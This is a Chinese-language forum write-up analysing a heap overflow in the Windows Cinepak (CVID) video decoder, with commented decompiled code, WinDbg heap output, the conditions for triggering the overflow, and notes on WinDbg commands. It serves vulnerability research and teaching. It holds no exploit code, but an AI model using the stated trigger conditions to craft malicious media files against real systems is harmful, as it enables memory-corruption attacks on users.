    if ( length < v11 || (HIBYTE(length) = *src, ULongSub(v11, 10u, &remain_len) < 0) )// 这里做了一个运算0x68-10,减去了头部的长度看是否还大于0
    {
LABEL_33:
      result = 0;
    }
    else
    {
      HIBYTE(nStrip) = *(src_ + 8);
      strip = (src_ + 10);                      // 加上了头部的长度,现在指向strip 1的起始位置
      strip_idx = 0;
      strip_ = strip;
      strip__ = strip;
      LOBYTE(nStrip) = *(strip - 1);            // 这里是strip的个数
      nStrip_ = nStrip;
      if ( nStrip )
      {
        v32 = 0;
        do
        {
          if ( remain_len < 0x16 )
            break;
          HIBYTE(v14) = strip[1];
          LOBYTE(v14) = strip[2];
          strip_len = strip[3] | (v14 << 8);
          if ( remain_len < strip_len )
            break;
          if ( *strip == 0x10 || *strip == 0x11 )// 检查strip ID
          {
            if ( ULongSub(strip_len, 0xCu, &data) < 0 )// 这里又减去了strip header的长度 12个字节
                                                // data的位置存储的是差值
              goto LABEL_33;
            HIBYTE(bottom_y) = strip[8];
            HIBYTE(top_y) = strip[4];
            LOBYTE(bottom_y) = strip[9];
            LOBYTE(top_y) = strip[5];
            v17 = bottom_y - top_y;
            LOWORD(v17) = *(data_ + 46) * v17;
            src = v17;
            if ( v32 && !HIBYTE(length) && *strip == 0x11 )// 当遍历到第二个strip的时候,条件都满足,进入if
            {
              qmemcpy((*(data_ + 28) + v32), (*(data_ + 28) + v32 - 0x2000), 0x2000u);// 异常发生在这里
              strip = strip_;
            }
            chunk = strip__ + 12;               // 这里又加上了strip header的长度,目前指向了chunk
            chunk_ = strip + 12;
            *(data_ + 56) = v32 + *(data_ + 32);
            chunk__ = strip + 12;
            *(data_ + 60) = a7;
            while ( data >= 4 )
            {
              HIBYTE(v20) = chunk_[1];
              LOBYTE(v20) = chunk_[2];
              chunk_size = chunk_[3] | (v20 << 8);
              chunk_size_ = chunk_size;
              if ( data < chunk_size )          // 验证chunk_size的大小
                break;
              switch...                         // 这里在检查chunk ID,根据chunk ID处理chunk数据
              chunk_ = &chunk__[chunk_size_];
              v22 = 1;
              chunk += chunk_size_;
              chunk__ += chunk_size_;
              if ( chunk_size_ > 1 )
                v22 = chunk_size_;
              data -= v22;
            }
            a6 += a7 * src;
            ++strip_idx;
            v32 += 0x2000;
          }
          strip__ += strip_len;                 // 接着处理下一个strip
          remain_len -= strip_len;
          strip += strip_len;
          strip_ = strip;
        }
        while ( strip_idx < nStrip_ );
      }
      result = 1;
    }
  }
  return result;
}

上述代码理解可以看下面这张图:

 

图片描述

 

每次遇到strip ID是0x1100的时候,都会进行数据的复制操作,每次复制的字节数为0x2000,这里并没有判断堆中是否能够容纳这么多的数据,查看一下堆块的大小:

1
2
3
4
5
6
0:005> !heap -p -a edi
    address 00173e78 found in
    _HEAP @ a0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        00171e70 0c01 0000  [01]   00171e78    06000 - (busy)
          ? wmploc+93

可以看到这个堆的大小是0x6000,也就是说复制三次数据就满了,第四次再复制的时候就会导致堆溢出。o( ̄▽ ̄)ブ

4.4 小总结

4.4.1 关于cvid压缩格式

目前看来我对于CVID格式的理解是没什么问题的,chunk是strip的一部分,strip1后面跟着strip2,以此类推

4.4.2 如何触发漏洞

  1. CVID数据长度就按照数据总长度设置,需要大于0x20
  2. 包含大于3个,且ID为0x1100的strip

5. 本文Windbg学习总结

  1. !heap:查看堆相关信息

    使用!heap -?查看帮助信息

    !heap -p:查看所有可能的handle值

    !heap -p -h HANDLE:查看对应HANDLE的详细分配信息

    !heap -p -a ADDR:显示具体某个堆块的详细信息

  2. dt STRUCTURE ADDR:按照STRUCTURE结构显示ADDR处结构体各成员值

  3. !gflag [-? | flags]指令用于堆调试,重点标志:htc, hfc, hpc, hpa
  4. sx:用于控制被调试程序发生某异常或特定事件时,调试器要采取的动作

    sxe ld:ModuleName 在首次加载ModuleName的时候中断。

6. 总结

这次漏洞分析花费的时间主要集中在前面对于堆溢出相关知识的复习,以及AVI格式的学习上。一旦对于格式有所了解,使用!gflag定位到漏洞函数后,代码分析就很简单了。

 

!gflag!heap命令在堆溢出的漏洞分析上帮助很大;如何使用Windbg,在加载DLL之后设置断点也是新接触到的一个知识点。

 

对于该漏洞本身,在刚看到漏洞介绍时,我只以为是在单次strcpy调用时复制的数据超过了目标空间大小,但实际调试时发现是多次同样大小的数据复制最终超过了目标空间大小,虽然原理相同,但这里需要判断的其实应该是复制的次数而不是大小了。

7. 参考资料

  1. 《漏洞战争》
  2. Common WinDbg Commands (Thematically Grouped)
  3. AVI文件格式详解
  4. cinepak文档

2021 KCTF 秋季赛 防守篇-征题倒计时(11月14日截止)!

收藏
点赞5
打赏
分享
最新回复 (1)
雪    币: 12197
活跃值: 活跃值 (8237)
能力值: (RANK:600 )
在线值:
发帖
回帖
粉丝
有毒 活跃值 9 2021-7-23 10:52
2
0
有自己思考的文章,希望继续分享
游客
登录 | 注册 方可回帖
返回